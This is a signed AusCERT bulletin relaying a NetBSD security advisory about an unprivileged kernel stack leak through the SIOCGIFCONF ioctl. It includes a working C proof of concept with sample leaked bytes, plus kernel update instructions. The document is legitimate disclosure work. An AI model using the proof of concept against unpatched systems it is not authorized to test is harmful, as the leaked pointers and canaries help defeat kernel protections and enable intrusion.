-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

===========================================================================
             AUSCERT External Security Bulletin Redistribution

                               ESB-2019.1563
         Unprivileged user kernel stack disclosure in SIOCGIFCONF
                                6 May 2019

===========================================================================

        AusCERT Security Bulletin Summary
        ---------------------------------

Product:           NetBSD kernel
Publisher:         NetBSD
Operating System:  NetBSD
Impact/Access:     Access Privileged Data -- Existing Account
Resolution:        Patch/Upgrade

Original Bulletin: 
   https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2019-003.txt.asc

- --------------------------BEGIN INCLUDED TEXT--------------------

- -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

		 NetBSD Security Advisory 2019-003
		 =================================

Topic:		Unprivileged user kernel stack disclosure in SIOCGIFCONF

Version:	NetBSD-current:		affected prior to April 15, 2019
		NetBSD 8.0:		affected
		NetBSD 7.2:		affected
		NetBSD 7.1.2:		affected
		NetBSD 7.0.2:		affected

Severity:	Local user may cause the kernel to run out of memory


Fixed:		NetBSD-current:		April 15, 2019
		NetBSD-8 branch:	April 19, 2019
		NetBSD-7 branch:	April 19, 2019
		NetBSD-7-2 branch:	April 19, 2019
		NetBSD-7-1 branch:	April 19, 2019
		NetBSD-7-0 branch:	April 19, 2019

Please note that NetBSD releases prior to 7.1 are no longer supported.
It is recommended that all users upgrade to a supported release.

Abstract
========

An unprivileged user can leak a huge amount of kernel stack by issuing the
'SIOCGIFCONF' ioctl command.

Technical Details
=================

Kernel stack can be leaked to an unprivileged user at [1], because 'ifr' is
uninitialized and only 'sa->sa_len' are copied to 'ifr.ifr_space'.
The size of 'struct ifreq ifr' is 0x90 bytes and 'sa->sa_len' is usually
0x11 bytes. Hence, upto 0x7f bytes can be leaked.
This can expose sensitive information, pointers to bypass KASLR, stack
canaries which can be used to exploit stack buffer overflows, etc.

Proof-Of-Concept:

#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>

/*
  Sample output:

  77 6D 30 00 00 00 00 00 00 00 00 00 00 00 00 00
  11 12 01 00 06 03 06 00 77 6D 30 08 00 27 56 80
  E1 EF CB 08 81 FE FF FF 00 10 00 00 00 00 00 00
  20 AE 1C 68 00 80 FF FF 00 00 00 00 00 00 00 00
  20 CC 92 1E 01 00 00 00 80 F7 4C 1B 81 FE FF FF
  40 AE 1C 68 03 00 00 00 80 F4 4C 1B 81 FE FF FF
  80 F4 4C 1B 81 FE FF FF 80 F7 4C 1B 81 FE FF FF
  80 F4 4C 1B 81 FE FF FF 10 57 3E 1B 81 FE FF FF
  00 52 C4 1E 81 FE FF FF 00 00 00 00 00 00 00 00
*/

void hexDump(const void *data, size_t size) {
  size_t i;
  for (i = 0; i < size; i++) {
    printf("%02hhX%c", ((char *)data)[i], (i + 1) % 16 ? ' ' : '\n');
  }
  printf("\n");
}

int main(int argc, char *argv[]) {
  struct ifconf conf;
  struct ifreq req[1];
  int fd;

  memset(req, 0, sizeof(req));

  fd = socket(AF_INET, SOCK_DGRAM, 0);

  conf.ifc_len = sizeof(req);
  conf.ifc_buf = req;
  ioctl(fd, SIOCGIFCONF, &conf);

  hexDump(req, sizeof(req));

  return 0;
}

[1] https://github.com/NetBSD/src/blob/trunk/sys/net/if.c#L3378

Solutions and Workarounds
=========================

Update the kernel to a fixed version and reboot.

To apply a fixed version from a releng build, fetch a fitting kern-GENERIC.tgz
from nyftp.netbsd.org and extract the fixed binaries:

cd /var/tmp
ftp https://nycdn.NetBSD.org/pub/NetBSD-daily/REL/latest/ARCH/binary/sets/kern-GENERIC.tgz
cd /
tar xzpf /var/tmp/kern-GENERIC.tgz

with the following replacements:
REL   = the release version you are using
ARCH  = your system's architecture


The following instructions describe how to upgrade your kernel by
updating your source tree and rebuilding and installing a new version.

For all NetBSD versions, you need to obtain fixed kernel sources,
rebuild and install the new kernel, and reboot the system.
                                      
The fixed source may be obtained from the NetBSD CVS repository.        
The following instructions briefly summarise how to upgrade your        
kernel.  In these instructions, replace:

  ARCH     with your architecture (from uname -m), and                  
  KERNCONF with the name of your kernel configuration file.    

To update from CVS, re-build, and re-install the kernel:

	# cd src
	# cvs update -d -P sys/path/to/file.c
	# ./build.sh kernel=KERNCONF
	# mv /netbsd /netbsd.old
	# cp sys/arch/ARCH/compile/obj/KERNCONF/netbsd /netbsd 
	# shutdown -r now

For more information on how to do this, see:    

   http://www.NetBSD.org/docs/guide/en/chap-kernel.html

Thanks To
=========

Andy Nguyen for discovering and reporting the issue.

More Information
================

Advisories may be updated as new information becomes available.
The most recent version of this advisory (PGP signed) can be found at 
  http://ftp.NetBSD.org/pub/NetBSD/security/advisories/NetBSD-SA2019-003.txt.asc

Information about NetBSD and NetBSD security can be found at
http://www.NetBSD.org/ and http://www.NetBSD.org/Security/ .


Copyright 2019, The NetBSD Foundation, Inc.  All Rights Reserved.
Redistribution permitted only in full, unmodified form.

$NetBSD: NetBSD-SA2019-003.txt.asc,v 1.1 2019/05/03 01:33:37 christos Exp $
- -----BEGIN PGP SIGNATURE-----

iQIcBAEBAgAGBQJcy5piAAoJEAZJc6xMSnBuBiYP/0W66ewcPSChlhngqzwsXqHq
B+BwbW6I/jOGE7BN5A9+MyZgzyWZRuVr/lPrTcB2Rl+AsFfWcUgAWHtXZiS6sF4w
ELAVUr4FKFXHh6/KcGPGoOZMOh4o18ZUKrCCWtuN2INvnEHqXbSGulY3OADg8Ese
q6fQGyhuhNwHxLS3MH4xPyN35YzrBFhYftU/gN7nBwVdxMZkmUSk0OnPIZx7BLVp
aay9W+aiL1t+RS7Sx8Nhu2+oVNll0Z88QGpH0U5fbWvYzhbxUQP+U5IaVXBQ61o/
VFjLAxNh2xX8AT44QguYFbH+kaTeiYmit7cnObLpZPvARIEzBXYH5wo0gqZmcpwp
zaWK19DDcANB/AqdrAg5mMd8OFDe+RpLN28VezJT4Smatnzrv0cZGCFntCsZx6d6
ykyyF1lrf/EH0mZykB/br/rdM9qxAqWZBkUYvKI21BSUhwIo4WYOYnah9uFyehqP
I/adV0hL5W9xfbu5WcR8x9BY9F+LA3mcVz+ShuFdlLZYcaj6yY4sOT/PyrJdKoDl
DRHT8CbS72OQRfOsMZ8xNCP5Mj30QwQZEch9WtRjcoVIyGpFx865KPAJXbgo6i8t
A23cpAWsubNgDkSuvQLfHsDtXpxlQfIkh/vAh+HY+W5Nj79LVII2C7jt4vTijcaY
ZJgmUblRPR/OrYUhegSV
=FhoG
- -----END PGP SIGNATURE-----

- --------------------------END INCLUDED TEXT--------------------

You have received this e-mail bulletin as a result of your organisation's
registration with AusCERT. The mailing list you are subscribed to is
maintained within your organisation, so if you do not wish to continue
receiving these bulletins you should contact your local IT manager. If
you do not know who that is, please send an email to auscert@auscert.org.au
and we will forward your request to the appropriate person.

NOTE: Third Party Rights
This security bulletin is provided as a service to AusCERT's members.  As
AusCERT did not write the document quoted above, AusCERT has had no control
over its content. The decision to follow or act on information or advice
contained in this security bulletin is the responsibility of each user or
organisation, and should be considered in accordance with your organisation's
site policies and procedures. AusCERT takes no responsibility for consequences
which may arise from following or acting on information or advice contained in
this security bulletin.

NOTE: This is only the original release of the security bulletin.  It may
not be updated when updates to the original are made.  If downloading at
a later date, it is recommended that the bulletin is retrieved directly
from the author's website to ensure that the information is still current.

Contact information for the authors of the original document is included
in the Security Bulletin above.  If you have any questions or need further
information, please contact them directly.

Previous advisories and external security bulletins can be retrieved from:

        https://www.auscert.org.au/bulletins/

===========================================================================
Australian Computer Emergency Response Team
The University of Queensland
Brisbane
Qld 4072

Internet Email: auscert@auscert.org.au
Facsimile:      (07) 3365 7031
Telephone:      (07) 3365 4417 (International: +61 7 3365 4417)
                AusCERT personnel answer during Queensland business hours
                which are GMT+10:00 (AEST).
                On call after hours for member emergencies only.
===========================================================================
-----BEGIN PGP SIGNATURE-----
Comment: http://www.auscert.org.au/render.html?it=1967

iQIVAwUBXM+dsWaOgq3Tt24GAQhwmhAAqhAfQymaMTBzjoa93bBgkGSAldaRbh/t
/cCBavyQczqzYZPF4AztTyO0X6VU4oq93OWQYfUEwLNqXUFlzuWFXBBwCD+PHw3t
vffZ4TwWTNkBVhz7twb45Hg8vP5fgMoqw3xyyHEr16V7s1/WVGwIm3D/VGibo6w5
scuxDLC0rZ30j9Aavl40djudR0uCaydLabERwcoD/1o1Cyq9ueBol7CITFGVC9PL
YDaHueEXIPqBuddCLAVj0TKWVgy0x2CMXGUJGOisauDf54PjuIq+rGWb6tPVMDob
GpXF3Aro2K3ETQiidlvNC8HyDYRePKnd0QKYc/B8OvLSdI10FAz8C8oNOZ42dv8J
SHpi2cA+Rb5S3JnqImCOVILDWFMK+2KHb7857/JtC+RL+MDUwiqDLVf/WJEFsqAQ
J5OvIv27QUAGen5yrRME/xe+yJu5Zc7A1ddmp6j2vt4uAncWu20SJVZseR9Ai5ct
OhuoHVZdP8QyUv/tJmfOiAutRi54ll+7MhYagwkZ8vWXe3BxuNZxiNh8prII6+Ae
X667eHP+OTxWW3H0XANEwI7Yaxqyy3a/rvLohTiCOigtl4gPe8S+kJmbOx0lIzm6
jgfRd8UCK5q5Lx7OvfanYObEW3bpyFhaojKQBLcdcdVaWTW8CrWZmzK0PgUydnBK
jQpLUBJ3vhs=
=sMtq
-----END PGP SIGNATURE-----